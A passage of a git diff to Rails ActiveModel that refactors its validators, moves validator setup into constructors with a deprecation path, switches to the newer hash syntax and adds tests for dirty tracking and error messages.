+              options[:on].include? o.validation_context
+            }
           end
           set_callback(:validation, :before, *args, &block)
         end
diff --git a/activemodel/lib/active_model/validations/clusivity.rb b/activemodel/lib/active_model/validations/clusivity.rb
index 6af8ba3..bad9e4f 100644
--- a/activemodel/lib/active_model/validations/clusivity.rb
+++ b/activemodel/lib/active_model/validations/clusivity.rb
@@ -15,15 +15,15 @@ module ActiveModel
     private
 
       def include?(record, value)
-        exclusions = if delimiter.respond_to?(:call)
-                       delimiter.call(record)
-                     elsif delimiter.respond_to?(:to_sym)
-                       record.send(delimiter)
-                     else
-                       delimiter
-                     end
+        members = if delimiter.respond_to?(:call)
+                    delimiter.call(record)
+                  elsif delimiter.respond_to?(:to_sym)
+                    record.send(delimiter)
+                  else
+                    delimiter
+                  end
 
-        exclusions.send(inclusion_method(exclusions), value)
+        members.send(inclusion_method(members), value)
       end
 
       def delimiter
@@ -35,10 +35,13 @@ module ActiveModel
       # <tt>Range#cover?</tt> uses the previous logic of comparing a value with the range
       # endpoints, which is fast but is only accurate on Numeric, Time, or DateTime ranges.
       def inclusion_method(enumerable)
-        return :include? unless enumerable.is_a?(Range)
-        case enumerable.first
-        when Numeric, Time, DateTime
-          :cover?
+        if enumerable.is_a? Range
+          case enumerable.first
+          when Numeric, Time, DateTime
+            :cover?
+          else
+            :include?
+          end
         else
           :include?
         end
diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb
index d14fb4d..a515239 100644
--- a/activemodel/lib/active_model/validations/confirmation.rb
+++ b/activemodel/lib/active_model/validations/confirmation.rb
@@ -2,14 +2,20 @@ module ActiveModel
 
   module Validations
     class ConfirmationValidator < EachValidator # :nodoc:
+      def initialize(options)
+        super
+        setup!(options[:class])
+      end
+
       def validate_each(record, attribute, value)
         if (confirmed = record.send("#{attribute}_confirmation")) && (value != confirmed)
           human_attribute_name = record.class.human_attribute_name(attribute)
-          record.errors.add(:"#{attribute}_confirmation", :confirmation, options.merge(:attribute => human_attribute_name))
+          record.errors.add(:"#{attribute}_confirmation", :confirmation, options.merge(attribute: human_attribute_name))
         end
       end
 
-      def setup(klass)
+      private
+      def setup!(klass)
         klass.send(:attr_reader, *attributes.map do |attribute|
           :"#{attribute}_confirmation" unless klass.method_defined?(:"#{attribute}_confirmation")
         end.compact)
@@ -51,7 +57,7 @@ module ActiveModel
       #   confirmation").
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_confirmation_of(*attr_names)
         validates_with ConfirmationValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb
index b7f38e4..f342d27 100644
--- a/activemodel/lib/active_model/validations/exclusion.rb
+++ b/activemodel/lib/active_model/validations/exclusion.rb
@@ -8,7 +8,7 @@ module ActiveModel
 
       def validate_each(record, attribute, value)
         if include?(record, value)
-          record.errors.add(attribute, :exclusion, options.except(:in, :within).merge!(:value => value))
+          record.errors.add(attribute, :exclusion, options.except(:in, :within).merge!(value: value))
         end
       end
     end
@@ -34,13 +34,9 @@ module ActiveModel
       #   <tt>Range#cover?</tt>, otherwise with <tt>include?</tt>.
       # * <tt>:message</tt> - Specifies a custom error message (default is: "is
       #   reserved").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
-      #   attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
-      #   attribute is blank(default is +false+).
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_exclusion_of(*attr_names)
         validates_with ExclusionValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb
index 9398b7e..ff3e95d 100644
--- a/activemodel/lib/active_model/validations/format.rb
+++ b/activemodel/lib/active_model/validations/format.rb
@@ -17,8 +17,8 @@ module ActiveModel
           raise ArgumentError, "Either :with or :without must be supplied (but not both)"
         end
 
-        check_options_validity(options, :with)
-        check_options_validity(options, :without)
+        check_options_validity :with
+        check_options_validity :without
       end
 
       private
@@ -29,24 +29,26 @@ module ActiveModel
       end
 
       def record_error(record, attribute, name, value)
-        record.errors.add(attribute, :invalid, options.except(name).merge!(:value => value))
+        record.errors.add(attribute, :invalid, options.except(name).merge!(value: value))
       end
 
-      def regexp_using_multiline_anchors?(regexp)
-        regexp.source.start_with?("^") ||
-          (regexp.source.end_with?("$") && !regexp.source.end_with?("\\$"))
+      def check_options_validity(name)
+        if option = options[name]
+          if option.is_a?(Regexp)
+            if options[:multiline] != true && regexp_using_multiline_anchors?(option)
+              raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
+              "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
+              ":multiline => true option?"
+            end
+          elsif !option.respond_to?(:call)
+            raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
+          end
+        end
       end
 
-      def check_options_validity(options, name)
-        option = options[name]
-        if option && !option.is_a?(Regexp) && !option.respond_to?(:call)
-          raise ArgumentError, "A regular expression or a proc or lambda must be supplied as :#{name}"
-        elsif option && option.is_a?(Regexp) &&
-              regexp_using_multiline_anchors?(option) && options[:multiline] != true
-          raise ArgumentError, "The provided regular expression is using multiline anchors (^ or $), " \
-          "which may present a security risk. Did you mean to use \\A and \\z, or forgot to add the " \
-          ":multiline => true option?"
-        end
+      def regexp_using_multiline_anchors?(regexp)
+        source = regexp.source
+        source.start_with?("^") || (source.end_with?("$") && !source.end_with?("\\$"))
       end
     end
 
@@ -89,10 +91,6 @@ module ActiveModel
       #
       # Configuration options:
       # * <tt>:message</tt> - A custom error message (default is: "is invalid").
-      # * <tt>:allow_nil</tt> - If set to true, skips this validation if the
-      #   attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to true, skips this validation if the
-      #   attribute is blank (default is +false+).
       # * <tt>:with</tt> - Regular expression that if the attribute matches will
       #   result in a successful validation. This can be provided as a proc or
       #   lambda returning regular expression which will be called at runtime.
@@ -105,7 +103,7 @@ module ActiveModel
       #   beginning or end of the string. These anchors are <tt>^</tt> and <tt>$</tt>.
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_format_of(*attr_names)
         validates_with FormatValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb
index 257c34b..c84025f 100644
--- a/activemodel/lib/active_model/validations/inclusion.rb
+++ b/activemodel/lib/active_model/validations/inclusion.rb
@@ -8,7 +8,7 @@ module ActiveModel
 
       def validate_each(record, attribute, value)
         unless include?(record, value)
-          record.errors.add(attribute, :inclusion, options.except(:in, :within).merge!(:value => value))
+          record.errors.add(attribute, :inclusion, options.except(:in, :within).merge!(value: value))
         end
       end
     end
@@ -29,17 +29,14 @@ module ActiveModel
       # * <tt>:in</tt> - An enumerable object of available items. This can be
       #   supplied as a proc, lambda or symbol which returns an enumerable. If the
       #   enumerable is a numerical range the test is performed with <tt>Range#cover?</tt>,
-      #   otherwise with <tt>include?</tt>.
+      #   otherwise with <tt>include?</tt>. When using a proc or lambda the instance
+      #   under validation is passed as an argument.
       # * <tt>:within</tt> - A synonym(or alias) for <tt>:in</tt>
       # * <tt>:message</tt> - Specifies a custom error message (default is: "is
       #   not included in the list").
-      # * <tt>:allow_nil</tt> - If set to +true+, skips this validation if the
-      #   attribute is +nil+ (default is +false+).
-      # * <tt>:allow_blank</tt> - If set to +true+, skips this validation if the
-      #   attribute is blank (default is +false+).
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_inclusion_of(*attr_names)
         validates_with InclusionValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb
index 675fb5f..a96b30c 100644
--- a/activemodel/lib/active_model/validations/length.rb
+++ b/activemodel/lib/active_model/validations/length.rb
@@ -1,10 +1,10 @@
 module ActiveModel
 
-  # == Active \Model Length \Validator
+  # == Active \Model Length Validator
   module Validations
     class LengthValidator < EachValidator # :nodoc:
-      MESSAGES  = { :is => :wrong_length, :minimum => :too_short, :maximum => :too_long }.freeze
-      CHECKS    = { :is => :==, :minimum => :>=, :maximum => :<= }.freeze
+      MESSAGES  = { is: :wrong_length, minimum: :too_short, maximum: :too_long }.freeze
+      CHECKS    = { is: :==, minimum: :>=, maximum: :<= }.freeze
 
       RESERVED_OPTIONS  = [:minimum, :maximum, :within, :is, :tokenizer, :too_short, :too_long]
 
diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb
index 085532c..a9fb980 100644
--- a/activemodel/lib/active_model/validations/numericality.rb
+++ b/activemodel/lib/active_model/validations/numericality.rb
@@ -2,17 +2,18 @@ module ActiveModel
 
   module Validations
     class NumericalityValidator < EachValidator # :nodoc:
-      CHECKS = { :greater_than => :>, :greater_than_or_equal_to => :>=,
-                 :equal_to => :==, :less_than => :<, :less_than_or_equal_to => :<=,
-                 :odd => :odd?, :even => :even?, :other_than => :!= }.freeze
+      CHECKS = { greater_than: :>, greater_than_or_equal_to: :>=,
+                 equal_to: :==, less_than: :<, less_than_or_equal_to: :<=,
+                 odd: :odd?, even: :even?, other_than: :!= }.freeze
 
       RESERVED_OPTIONS = CHECKS.keys + [:only_integer]
 
       def check_validity!
         keys = CHECKS.keys - [:odd, :even]
         options.slice(*keys).each do |option, value|
-          next if value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
-          raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+          unless value.is_a?(Numeric) || value.is_a?(Proc) || value.is_a?(Symbol)
+            raise ArgumentError, ":#{option} must be a number, a symbol or a proc"
+          end
         end
       end
 
@@ -43,11 +44,15 @@ module ActiveModel
               record.errors.add(attr_name, option, filtered_options(value))
             end
           else
-            option_value = option_value.call(record) if option_value.is_a?(Proc)
-            option_value = record.send(option_value) if option_value.is_a?(Symbol)
+            case option_value
+            when Proc
+              option_value = option_value.call(record)
+            when Symbol
+              option_value = record.send(option_value)
+            end
 
             unless value.send(CHECKS[option], option_value)
-              record.errors.add(attr_name, option, filtered_options(value).merge(:count => option_value))
+              record.errors.add(attr_name, option, filtered_options(value).merge!(count: option_value))
             end
           end
         end
@@ -56,16 +61,9 @@ module ActiveModel
     protected
 
       def parse_raw_value_as_a_number(raw_value)
-        case raw_value
-        when /\A0[xX]/
-          nil
-        else
-          begin
-            Kernel.Float(raw_value)
-          rescue ArgumentError, TypeError
-            nil
-          end
-        end
+        Kernel.Float(raw_value) if raw_value !~ /\A0[xX]/
+      rescue ArgumentError, TypeError
+        nil
       end
 
       def parse_raw_value_as_an_integer(raw_value)
@@ -73,7 +71,9 @@ module ActiveModel
       end
 
       def filtered_options(value)
-        options.except(*RESERVED_OPTIONS).merge!(:value => value)
+        filtered = options.except(*RESERVED_OPTIONS)
+        filtered[:value] = value
+        filtered
       end
     end
 
@@ -110,7 +110,7 @@ module ActiveModel
       # * <tt>:even</tt> - Specifies the value must be an even number.
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+ .
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+ .
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       #
       # The following checks can also be supplied with a proc or a symbol which
diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb
index ab8c835..5d59327 100644
--- a/activemodel/lib/active_model/validations/presence.rb
+++ b/activemodel/lib/active_model/validations/presence.rb
@@ -29,7 +29,7 @@ module ActiveModel
       # * <tt>:message</tt> - A custom error message (default is: "can't be blank").
       #
       # There is also a list of default options supported by every validator:
-      # +:if+, +:unless+, +:on+ and +:strict+.
+      # +:if+, +:unless+, +:on+, +:allow_nil+, +:allow_blank+, and +:strict+.
       # See <tt>ActiveModel::Validation#validates</tt> for more information
       def validates_presence_of(*attr_names)
         validates_with PresenceValidator, _merge_attributes(attr_names)
diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb
index 1eb0716..ae8d377 100644
--- a/activemodel/lib/active_model/validations/validates.rb
+++ b/activemodel/lib/active_model/validations/validates.rb
@@ -13,7 +13,7 @@ module ActiveModel
       #   validates :terms, acceptance: true
       #   validates :password, confirmation: true
       #   validates :username, exclusion: { in: %w(admin superuser) }
-      #   validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\Z/i, on: :create }
+      #   validates :email, format: { with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create }
       #   validates :age, inclusion: { in: 0..9 }
       #   validates :first_name, length: { maximum: 30 }
       #   validates :age, numericality: true
@@ -83,7 +83,9 @@ module ActiveModel
       #   or <tt>unless: Proc.new { |user| user.signup_step <= 2 }</tt>). The
       #   method, proc or string should return or evaluate to a +true+ or
       #   +false+ value.
-      # * <tt>:strict</tt> - if the <tt>:strict</tt> option is set to true
+      # * <tt>:allow_nil</tt> - Skip validation if the attribute is +nil+.
+      # * <tt>:allow_blank</tt> - Skip validation if the attribute is blank.
+      # * <tt>:strict</tt> - If the <tt>:strict</tt> option is set to true
       #   will raise ActiveModel::StrictValidationFailed instead of adding the error.
       #   <tt>:strict</tt> option can also be set to any other exception.
       #
@@ -159,9 +161,9 @@ module ActiveModel
         when Hash
           options
         when Range, Array
-          { :in => options }
+          { in: options }
         else
-          { :with => options }
+          { with: options }
         end
       end
     end
diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb
index 2ae335d..7022f9b 100644
--- a/activemodel/lib/active_model/validations/with.rb
+++ b/activemodel/lib/active_model/validations/with.rb
@@ -83,9 +83,10 @@ module ActiveModel
       #   end
       def validates_with(*args, &block)
         options = args.extract_options!
+        options[:class] = self
+
         args.each do |klass|
           validator = klass.new(options, &block)
-          validator.setup(self) if validator.respond_to?(:setup)
 
           if validator.respond_to?(:attributes) && !validator.attributes.empty?
             validator.attributes.each do |attribute|
@@ -138,6 +139,8 @@ module ActiveModel
     # class version of this method for more information.
     def validates_with(*args, &block)
       options = args.extract_options!
+      options[:class] = self.class
+
       args.each do |klass|
         validator = klass.new(options, &block)
         validator.validate(self)
diff --git a/activemodel/lib/active_model/validator.rb b/activemodel/lib/active_model/validator.rb
index 037650e..bddacc8 100644
--- a/activemodel/lib/active_model/validator.rb
+++ b/activemodel/lib/active_model/validator.rb
@@ -61,7 +61,7 @@ module ActiveModel
   #   end
   #
   # Note that the validator is initialized only once for the whole application
-  # lifecycle, and not on each validation run.
+  # life cycle, and not on each validation run.
   #
   # The easiest way to add custom validators for validating individual attributes
   # is with the convenient <tt>ActiveModel::EachValidator</tt>.
@@ -82,18 +82,16 @@ module ActiveModel
   #     validates :title, presence: true
   #   end
   #
-  # Validator may also define a +setup+ instance method which will get called
-  # with the class that using that validator as its argument. This can be
-  # useful when there are prerequisites such as an +attr_accessor+ being present.
+  # It can be useful to access the class that is using that validator when there are prerequisites such
+  # as an +attr_accessor+ being present. This class is accessible via +options[:class]+ in the constructor.
+  # To setup your validator override the constructor.
   #
   #   class MyValidator < ActiveModel::Validator
-  #     def setup(klass)
-  #       klass.send :attr_accessor, :custom_attribute
+  #     def initialize(options={})
+  #       super
+  #       options[:class].send :attr_accessor, :custom_attribute
   #     end
   #   end
-  #
-  # This setup method is only called when used with validation macros or the
-  # class level <tt>validates_with</tt> method.
   class Validator
     attr_reader :options
 
@@ -107,10 +105,11 @@ module ActiveModel
 
     # Accepts options that will be made available through the +options+ reader.
     def initialize(options = {})
-      @options = options.freeze
+      @options  = options.except(:class).freeze
+      deprecated_setup(options)
     end
 
-    # Return the kind for this validator.
+    # Returns the kind for this validator.
     #
     #   PresenceValidator.new.kind   # => :presence
     #   UniquenessValidator.new.kind # => :uniqueness
@@ -123,6 +122,21 @@ module ActiveModel
     def validate(record)
       raise NotImplementedError, "Subclasses must implement a validate(record) method."
     end
+
+    private
+    def deprecated_setup(options) # TODO: remove me in 4.2.
+      return unless respond_to?(:setup)
+      ActiveSupport::Deprecation.warn "The `Validator#setup` instance method is deprecated and will be removed on Rails 4.2. Do your setup in the constructor instead:
+
+class MyValidator < ActiveModel::Validator
+  def initialize(options={})
+    super
+    options[:class].send :attr_accessor, :custom_attribute
+  end
+end
+"
+      setup(options[:class])
+    end
   end
 
   # +EachValidator+ is a validator which iterates through the attributes given
diff --git a/activemodel/lib/active_model/version.rb b/activemodel/lib/active_model/version.rb
index 4e69ae9..b1f9082 100644
--- a/activemodel/lib/active_model/version.rb
+++ b/activemodel/lib/active_model/version.rb
@@ -1,11 +1,8 @@
+require_relative 'gem_version'
+
 module ActiveModel
-  # Returns the version of the currently loaded ActiveModel as a Gem::Version
+  # Returns the version of the currently loaded ActiveModel as a <tt>Gem::Version</tt>
   def self.version
-    Gem::Version.new "4.0.2"
-  end
-
-  module VERSION #:nodoc:
-    MAJOR, MINOR, TINY, PRE = ActiveModel.version.segments
-    STRING = ActiveModel.version.to_s
+    gem_version
   end
 end
diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb
index d3ec781..e9cb5cc 100644
--- a/activemodel/test/cases/attribute_methods_test.rb
+++ b/activemodel/test/cases/attribute_methods_test.rb
@@ -10,7 +10,7 @@ class ModelWithAttributes
   end
 
   def attributes
-    { :foo => 'value of foo', :baz => 'value of baz' }
+    { foo: 'value of foo', baz: 'value of baz' }
   end
 
 private
@@ -80,7 +80,7 @@ class ModelWithRubyKeywordNamedAttributes
   include ActiveModel::AttributeMethods
 
   def attributes
-    { :begin => 'value of begin', :end => 'value of end' }
+    { begin: 'value of begin', end: 'value of end' }
   end
 
 private
@@ -202,17 +202,6 @@ class AttributeMethodsTest < ActiveModel::TestCase
     assert_equal 'bar', m.foo_test
   end
 
-  test 'explicitly specifying an empty prefix/suffix is deprecated' do
-    klass = Class.new(ModelWithAttributes)
-
-    assert_deprecated { klass.attribute_method_suffix '' }
-    assert_deprecated { klass.attribute_method_prefix '' }
-
-    klass.define_attribute_methods(:foo)
-
-    assert_equal 'value of foo', klass.new.foo
-  end
-
   test 'should not interfere with method_missing if the attr has a private/protected method' do
     m = ModelWithAttributes2.new
     m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' }
diff --git a/activemodel/test/cases/callbacks_test.rb b/activemodel/test/cases/callbacks_test.rb
index c4c34b0..5fede09 100644
--- a/activemodel/test/cases/callbacks_test.rb
+++ b/activemodel/test/cases/callbacks_test.rb
@@ -15,9 +15,9 @@ class CallbacksTest < ActiveModel::TestCase
     extend ActiveModel::Callbacks
 
     define_model_callbacks :create
-    define_model_callbacks :initialize, :only => :after
-    define_model_callbacks :multiple,   :only => [:before, :around]
-    define_model_callbacks :empty,      :only => []
+    define_model_callbacks :initialize, only: :after
+    define_model_callbacks :multiple,   only: [:before, :around]
+    define_model_callbacks :empty,      only: []
 
     before_create :before_create
     around_create CallbackValidator.new
diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb
index a037666..c5cfbf9 100644
--- a/activemodel/test/cases/conversion_test.rb
+++ b/activemodel/test/cases/conversion_test.rb
@@ -13,7 +13,7 @@ class ConversionTest < ActiveModel::TestCase
   end
 
   test "to_key default implementation returns the id in an array for persisted records" do
-    assert_equal [1], Contact.new(:id => 1).to_key
+    assert_equal [1], Contact.new(id: 1).to_key
   end
 
   test "to_param default implementation returns nil for new records" do
@@ -21,7 +21,17 @@ class ConversionTest < ActiveModel::TestCase
   end
 
   test "to_param default implementation returns a string of ids for persisted records" do
-    assert_equal "1", Contact.new(:id => 1).to_param
+    assert_equal "1", Contact.new(id: 1).to_param
+  end
+
+  test "to_param returns nil if to_key is nil" do
+    klass = Class.new(Contact) do
+      def persisted?
+        true
+      end
+    end
+
+    assert_nil klass.new.to_param
   end
 
   test "to_partial_path default implementation returns a string giving a relative path" do
diff --git a/activemodel/test/cases/deprecated_mass_assignment_security_test.rb b/activemodel/test/cases/deprecated_mass_assignment_security_test.rb
deleted file mode 100644
index c1fe882..0000000
--- a/activemodel/test/cases/deprecated_mass_assignment_security_test.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-require 'cases/helper'
-require 'models/project'
-
-class DeprecatedMassAssignmentSecurityTest < ActiveModel::TestCase
-  def test_attr_accessible_raise_error
-    assert_raise RuntimeError, /protected_attributes/ do
-      Project.attr_accessible :username
-    end
-  end
-
-  def test_attr_protected_raise_error
-    assert_raise RuntimeError, /protected_attributes/ do
-      Project.attr_protected :username
-    end
-  end
-end
diff --git a/activemodel/test/cases/dirty_test.rb b/activemodel/test/cases/dirty_test.rb
index ba45089..2853476 100644
--- a/activemodel/test/cases/dirty_test.rb
+++ b/activemodel/test/cases/dirty_test.rb
@@ -3,11 +3,12 @@ require "cases/helper"
 class DirtyTest < ActiveModel::TestCase
   class DirtyModel
     include ActiveModel::Dirty
-    define_attribute_methods :name, :color
+    define_attribute_methods :name, :color, :size
 
     def initialize
       @name = nil
       @color = nil
+      @size = nil
     end
 
     def name
@@ -28,9 +29,21 @@ class DirtyTest < ActiveModel::TestCase
       @color = val
     end
 
+    def size
+      @size
+    end
+
+    def size=(val)
+      attribute_will_change!(:size) unless val == @size
+      @size = val
+    end
+
     def save
-      @previously_changed = changes
-      @changed_attributes.clear
+      changes_applied
+    end
+
+    def reload
+      reset_changes
     end
   end
 
@@ -58,12 +71,30 @@ class DirtyTest < ActiveModel::TestCase
     assert_equal [nil, "John"], @model.changes['name']
   end
 
+  test "checking if an attribute has changed to a particular value" do
+    @model.name = "Ringo"
+    assert @model.name_changed?(from: nil, to: "Ringo")
+    assert_not @model.name_changed?(from: "Pete", to: "Ringo")
+    assert @model.name_changed?(to: "Ringo")
+    assert_not @model.name_changed?(to: "Pete")
+    assert @model.name_changed?(from: nil)
+    assert_not @model.name_changed?(from: "Pete")
+  end
+
   test "changes accessible through both strings and symbols" do
     @model.name = "David"
     assert_not_nil @model.changes[:name]
     assert_not_nil @model.changes['name']
   end
 
+  test "be consistent with symbols arguments after the changes are applied" do
+    @model.name = "David"
+    assert @model.attribute_changed?(:name)
+    @model.save
+    @model.name = 'Rafael'
+    assert @model.attribute_changed?(:name)
+  end
+
   test "attribute mutation" do
     @model.instance_variable_set("@name", "Yam")
     assert !@model.name_changed?
@@ -125,4 +156,24 @@ class DirtyTest < ActiveModel::TestCase
     assert_equal ["Otto", "Mr. Manfredgensonton"], @model.name_change
     assert_equal @model.name_was, "Otto"
   end
+
+  test "using attribute_will_change! with a symbol" do
+    @model.size = 1
+    assert @model.size_changed?
+  end
+
+  test "reload should reset all changes" do
+    @model.name = 'Dmitry'
+    @model.name_changed?
+    @model.save
+    @model.name = 'Bob'
+
+    assert_equal [nil, 'Dmitry'], @model.previous_changes['name']
+    assert_equal 'Dmitry', @model.changed_attributes['name']
+
+    @model.reload
+
+    assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.previous_changes
+    assert_equal ActiveSupport::HashWithIndifferentAccess.new, @model.changed_attributes
+  end
 end
diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb
index 80ff97d..42d0365 100644
--- a/activemodel/test/cases/errors_test.rb
+++ b/activemodel/test/cases/errors_test.rb
@@ -11,7 +11,7 @@ class ErrorsTest < ActiveModel::TestCase
     attr_reader   :errors
 
     def validate!
-      errors.add(:name, "can not be nil") if name == nil
+      errors.add(:name, "cannot be nil") if name == nil
     end
 
     def read_attribute_for_validation(attr)
@@ -51,7 +51,12 @@ class ErrorsTest < ActiveModel::TestCase
   def test_has_key?
     errors = ActiveModel::Errors.new(self)
     errors[:foo] = 'omg'
-    assert errors.has_key?(:foo), 'errors should have key :foo'
+    assert_equal true, errors.has_key?(:foo), 'errors should have key :foo'
+  end
+
+  def test_has_no_key
+    errors = ActiveModel::Errors.new(self)
+    assert_equal false, errors.has_key?(:name), 'errors should not have key :name'
   end
 
   test "clear errors" do
@@ -77,6 +82,13 @@ class ErrorsTest < ActiveModel::TestCase
     assert_equal({ foo: "omg" }, errors.messages)
   end
 
+  test "error access is indifferent" do
+    errors = ActiveModel::Errors.new(self)
+    errors[:foo] = "omg"
+
+    assert_equal ["omg"], errors["foo"]
+  end
+
   test "values returns an array of messages" do
     errors = ActiveModel::Errors.new(self)
     errors.set(:foo, "omg")
@@ -104,8 +116,8 @@ class ErrorsTest < ActiveModel::TestCase
   test "adding errors using conditionals with Person#validate!" do
     person = Person.new
     person.validate!
-    assert_equal ["name can not be nil"], person.errors.full_messages
-    assert_equal ["can not be nil"], person.errors[:name]
+    assert_equal ["name cannot be nil"], person.errors.full_messages
+    assert_equal ["cannot be nil"], person.errors[:name]
   end
 
   test "assign error" do
@@ -116,8 +128,8 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "add an error message on a specific attribute" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    assert_equal ["can not be blank"], person.errors[:name]
+    person.errors.add(:name, "cannot be blank")
+    assert_equal ["cannot be blank"], person.errors[:name]
   end
 
   test "add an error with a symbol" do
@@ -129,15 +141,15 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "add an error with a proc" do
     person = Person.new
-    message = Proc.new { "can not be blank" }
+    message = Proc.new { "cannot be blank" }
     person.errors.add(:name, message)
-    assert_equal ["can not be blank"], person.errors[:name]
+    assert_equal ["cannot be blank"], person.errors[:name]
   end
 
   test "added? detects if a specific error was added to the object" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    assert person.errors.added?(:name, "can not be blank")
+    person.errors.add(:name, "cannot be blank")
+    assert person.errors.added?(:name, "cannot be blank")
   end
 
   test "added? handles symbol message" do
@@ -148,7 +160,7 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "added? handles proc messages" do
     person = Person.new
-    message = Proc.new { "can not be blank" }
+    message = Proc.new { "cannot be blank" }
     person.errors.add(:name, message)
     assert person.errors.added?(:name, message)
   end
@@ -161,9 +173,9 @@ class ErrorsTest < ActiveModel::TestCase
 
   test "added? matches the given message when several errors are present for the same attribute" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
+    person.errors.add(:name, "cannot be blank")
     person.errors.add(:name, "is invalid")
-    assert person.errors.added?(:name, "can not be blank")
+    assert person.errors.added?(:name, "cannot be blank")
   end
 
   test "added? returns false when no errors are present" do
@@ -174,52 +186,52 @@ class ErrorsTest < ActiveModel::TestCase
   test "added? returns false when checking a nonexisting error and other errors are present for the given attribute" do
     person = Person.new
     person.errors.add(:name, "is invalid")
-    assert !person.errors.added?(:name, "can not be blank")
+    assert !person.errors.added?(:name, "cannot be blank")
   end
 
   test "size calculates the number of error messages" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
+    person.errors.add(:name, "cannot be blank")
     assert_equal 1, person.errors.size
   end
 
   test "to_a returns the list of errors with complete messages containing the attribute names" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    person.errors.add(:name, "can not be nil")
-    assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "cannot be nil")
+    assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.to_a
   end
 
   test "to_hash returns the error messages hash" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    assert_equal({ name: ["can not be blank"] }, person.errors.to_hash)
+    person.errors.add(:name, "cannot be blank")
+    assert_equal({ name: ["cannot be blank"] }, person.errors.to_hash)
   end
 
   test "full_messages creates a list of error messages with the attribute name included" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    person.errors.add(:name, "can not be nil")
-    assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "cannot be nil")
+    assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages
   end
 
   test "full_messages_for contains all the error messages for the given attribute" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    person.errors.add(:name, "can not be nil")
-    assert_equal ["name can not be blank", "name can not be nil"], person.errors.full_messages_for(:name)
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:name, "cannot be nil")
+    assert_equal ["name cannot be blank", "name cannot be nil"], person.errors.full_messages_for(:name)
   end
 
   test "full_messages_for does not contain error messages from other attributes" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
-    person.errors.add(:email, "can not be blank")
-    assert_equal ["name can not be blank"], person.errors.full_messages_for(:name)
+    person.errors.add(:name, "cannot be blank")
+    person.errors.add(:email, "cannot be blank")
+    assert_equal ["name cannot be blank"], person.errors.full_messages_for(:name)
   end
 
   test "full_messages_for returns an empty list in case there are no errors for the given attribute" do
     person = Person.new
-    person.errors.add(:name, "can not be blank")
+    person.errors.add(:name, "cannot be blank")
     assert_equal [], person.errors.full_messages_for(:email)
   end
 
@@ -230,22 +242,22 @@ class ErrorsTest < ActiveModel::TestCase
 
